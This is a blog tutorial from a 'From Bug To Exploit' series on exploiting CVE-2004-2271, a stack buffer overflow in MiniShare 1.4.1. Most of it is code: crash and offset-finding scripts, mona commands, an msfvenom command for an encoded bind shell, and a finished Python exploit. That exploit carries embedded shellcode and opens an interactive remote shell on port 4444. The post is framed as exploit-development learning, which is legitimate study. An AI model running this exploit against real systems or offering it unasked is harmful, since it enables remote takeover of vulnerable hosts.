[Learning] CVE-2004-2271: MiniShare v1.4.1 RCE — Buffer Overflow

First Post:

Last Update:

Word Count:
1.7k

Read Time:
10 min

Introduction

This article is part of my “From Bug To Exploit” series.

In this article, I will demonstrate how to exploit Minishare v1.4.1 through a buffer overflow.

Murmur: In the previous article, I spent hours trying to get calc.exe to launch. In this practice, however, I spent less than 30 minutes developing and completing the exploit script!

Buffer Overflow

The vulnerability is caused by the following process:

  1. After receiving an HTTP request, the server application splits the data based on a pattern such as HTTP/1.X.
  2. The first part is treated as the method (or URL) and stored in a buffer.
  3. During this process, the server application does not properly check the boundary or length of the data, allowing an attacker to store an excessive amount of data in the buffer, which causes a stack-based buffer overflow.

Note: I found that many reports online state that this vulnerability is caused by the HTTP method, such as GET, POST, or HEAD. However, my experiments show that this is inaccurate. The method itself is not the key point; the large amount of data is. A buffer overflow can occur even when the HTTP method is omitted. In this article, however, I discovered this phenomenon toward the end, so many of the screenshots were taken using an HTTP method. The final exploit script does not contain any HTTP method.

First, I tried to crash the server application by sending a large amount of data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
import argparse

parser = argparse.ArgumentParser(description="Minishare 1.4.1 RCE — Stack-based Buffer Overflow")
parser.add_argument("target", help="Target IP address")
parser.add_argument("-p", "--port", type=int, default=80, help="Target HTTP port (default: 80)")
args = parser.parse_args()

method = b'GET'
junk = b'A' * 3000
header = b'HTTP/1.1\r\n\r\n'

payload = b''
payload += method
payload += junk
payload += header

def main():
try:
if not args.target or not args.port:
args.print_help()
return

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target, args.port))

sock.send(payload)
sock.close()

except Exception as ex:
print(ex)

if __name__ == '__main__':
main()

The server then crashes after processing the junk data.

The next step is to find the exact offset required to overwrite EIP. To do this, we need to create a special pattern using mona:

1
!mona pattern_create 3000

Then, send the pattern data to the server again:

The value shown in EIP is 43366843. Therefore, we can use mona to find the exact offset:

1
!mona pattern_offset 43366843

The exact offset is 1788. However, since I removed the HTTP method, the final offset is 1791.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import argparse
import struct
import time
import sys
import select

parser = argparse.ArgumentParser(description="Minishare 1.4.1 RCE — Stack-based Buffer Overflow")
parser.add_argument("target", help="Target IP address")
parser.add_argument("-p", "--port", type=int, default=80, help="Target HTTP port (default: 80)")
args = parser.parse_args()

junk = b'A' * 1791
eip = struct.pack('<I', 0xDEADBEEF)
header = b'HTTP/1.1\r\n\r\n'

payload = b''
payload += junk
payload += eip
payload += header

def main():
try:
if not args.target or not args.port:
args.print_help()
return

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target, args.port))

sock.send(payload)
sock.close()

except Exception as ex:
print(ex)

if __name__ == '__main__':
main()

Next, we need to execute the shellcode. To do so, the EIP value needs to point to an address on the stack, since the shellcode is located on the stack in this scenario.

To achieve this, we need the CPU to execute jmp esp. Therefore, we simply need to overwrite EIP with an address containing the jmp esp instruction. We can use mona to search for this instruction in all loaded modules:

1
!mona jmp -r esp

Here, I chose to use the address 0x77def069.

Lastly, I generated a payload with msfvenom:

1
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b "\x00\x0a\x0d\x09\x20\x40" -f python -e x86/shikata_ga_nai -i 3 -v shellcode 

Therefore, the completed exploit script can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# exploit.py
# Author: iss4cf0ng/ISSAC
# GitHub: https://github.com/iss4cf0ng

import socket
import argparse
import struct
import time
import sys
import select

parser = argparse.ArgumentParser(description="Minishare 1.4.1 RCE — Stack-based Buffer Overflow")
parser.add_argument("target", help="Target IP address")
parser.add_argument("-p", "--port", type=int, default=80, help="Target HTTP port (default: 80)")
args = parser.parse_args()

junk = b'A' * 1791
eip = struct.pack('<I', 0x77def069)
header = b'HTTP/1.1\r\n\r\n'
nopsled = b'\x90' * 32

int3 = b'\xcc'

shellcode = b""
shellcode += b"\xbb\xaf\x34\x80\xce\xdd\xc4\xd9\x74\x24\xf4"
shellcode += b"\x5e\x2b\xc9\xb1\x60\x31\x5e\x14\x03\x5e\x14"
shellcode += b"\x83\xee\xfc\x4d\xc1\x5a\x0c\x48\x5e\x7f\x65"
shellcode += b"\xd7\x61\xc7\xa2\xa0\xc6\x0b\x64\x1f\xaf\xe8"
shellcode += b"\x9e\xa3\x61\x87\x48\x58\xea\x41\x97\x55\xef"
shellcode += b"\x18\xa3\x3b\x7e\x42\x72\xf6\xaa\xf2\xcf\x3f"
shellcode += b"\x4b\x44\xcc\xab\xbc\x8c\xa5\xca\x90\x71\xbc"
shellcode += b"\x49\x39\x72\xd4\x84\xeb\x8f\xfa\x0b\x78\xe1"
shellcode += b"\x42\x43\x34\x28\xf9\x5f\x9d\xdb\xfd\x25\x9e"
shellcode += b"\x08\x8f\x8d\xcd\x4d\x80\x04\x67\xec\x47\x53"
shellcode += b"\xd3\x41\x45\x21\x08\x27\x99\xde\xd1\xbe\x96"
shellcode += b"\x3d\x8c\xa6\x6b\xde\x14\x36\xaa\x71\xb9\xa1"
shellcode += b"\xc5\x5d\xcb\x0c\xc5\x8d\xa0\x16\x90\xf0\x73"
shellcode += b"\x82\x51\x67\x55\x50\x82\x10\xeb\xa0\x5f\x28"
shellcode += b"\xaf\xca\x4f\x6f\x18\x33\x22\x1e\x96\xd9\x96"
shellcode += b"\x2e\x83\xd5\xcc\xfb\xb0\xd5\x51\x04\x98\xfe"
shellcode += b"\xb0\x6d\xd9\xa1\x8a\x3a\x54\x9d\x5a\x88\xda"
shellcode += b"\xea\x5f\x25\x6c\xe8\x2c\x68\xfe\x2f\xca\x95"
shellcode += b"\xf9\x11\x70\xe0\x4f\xaa\xfe\x80\x13\xa5\xa5"
shellcode += b"\xbf\x45\x4c\x82\xd0\x10\x72\xe1\x4e\x1e\x12"
shellcode += b"\x03\x5f\x65\x18\xa8\xae\x5a\xfd\x99\x13\x85"
shellcode += b"\x9c\xfc\x4d\x69\x2e\xea\x90\x2d\xa6\xef\xbb"
shellcode += b"\x29\xa3\x9e\xf0\x38\xfd\x9f\xbf\xa6\xd4\x32"
shellcode += b"\xb8\x06\x4a\x0e\xf6\x7a\x93\x86\xaf\x5a\x4f"
shellcode += b"\xcd\x32\xb9\x46\x17\xc0\x7f\x70\x24\x5a\x8f"
shellcode += b"\x39\xf7\xe4\xe5\x77\xec\xb6\xfe\x17\x7e\x0f"
shellcode += b"\x5a\x93\x14\xf5\xee\x66\xed\x5d\x96\x11\x41"
shellcode += b"\x4f\x42\x9d\x5b\x82\xdd\xb4\x26\xad\x90\xf1"
shellcode += b"\xc3\xff\x75\xeb\xbc\xf8\x87\x3f\xe7\xa2\xaa"
shellcode += b"\x63\xbf\x14\x06\x0e\x5d\xa6\x8f\x25\x68\x7e"
shellcode += b"\xba\xae\x06\xc8\x02\x39\x57\x29\xf2\x99\xdd"
shellcode += b"\x8b\x69\x24\xaa\xd8\x7f\xd2\xbb\x4c\x44\x06"
shellcode += b"\x38\x27\x8c\x80\x1f\x83\x71\x1f\x84\xc4\x8d"
shellcode += b"\xd4\xad\x9c\xa2\x53\x70\x0e\xe2\xaf\x5d\x8f"
shellcode += b"\x53\x7d\x8c\x08\x8b\x45\x54\xe7\x03\xda\x44"
shellcode += b"\xe9\xcc\x5f\x4d\x2b\xaa\x3a\x2e\xf7\x24\x04"
shellcode += b"\x06\xa0\x08\x99\x74\x55\xd9\x01\x8e\x08\xcf"
shellcode += b"\x93\x58"

payload = b''
payload += junk
payload += eip
payload += nopsled
#payload += int3
payload += shellcode
payload += header

def do_pwn():
shell_sock = None

for attempt in range(10): # retry
try:
shell_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell_sock.settimeout(10)
shell_sock.connect((args.target, 4444))
shell_sock.settimeout(None)
print(f"\n[+] Pwned!\n")
break
except (socket.error, socket.timeout):
if shell_sock:
shell_sock.close()
shell_sock = None
sys.stdout.write(".")
sys.stdout.flush()

time.sleep(10)

if not shell_sock:
print("[-] Connection failed: Max retries reached.")
sys.exit(1)

print("[+] Interactive shell spawned below:\n")

while True:
read_list = [sys.stdin, shell_sock]
read_sockets, _, _ = select.select(read_list, [], [])

if sys.stdin in read_sockets:
line = sys.stdin.readline()
if not line:
break
shell_sock.sendall(line.encode())

if shell_sock in read_sockets:
data = shell_sock.recv(1024)
if not data:
print("\n[-] Connection closed by target.")
break
sys.stdout.write(data.decode(errors='ignore'))
sys.stdout.flush()

def main():
try:
if not args.target or not args.port:
args.print_help()
return

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target, args.port))

sock.send(payload)
sock.close()

do_pwn()

except Exception as ex:
print(ex)

if __name__ == '__main__':
main()

Conclusion

In this article, I demonstrated how to exploit a legacy application using a classic stack-based buffer overflow.

Unlike the previous article, I spent only about 30 minutes developing the completed exploit script. I hope this demonstrates that my exploit development skills have been improving!

In the next article, I will start practicing SEH-based buffer overflows.

This is the end of this article. If you have any comments or suggestions, please feel free to leave them below!

THANKS FOR READING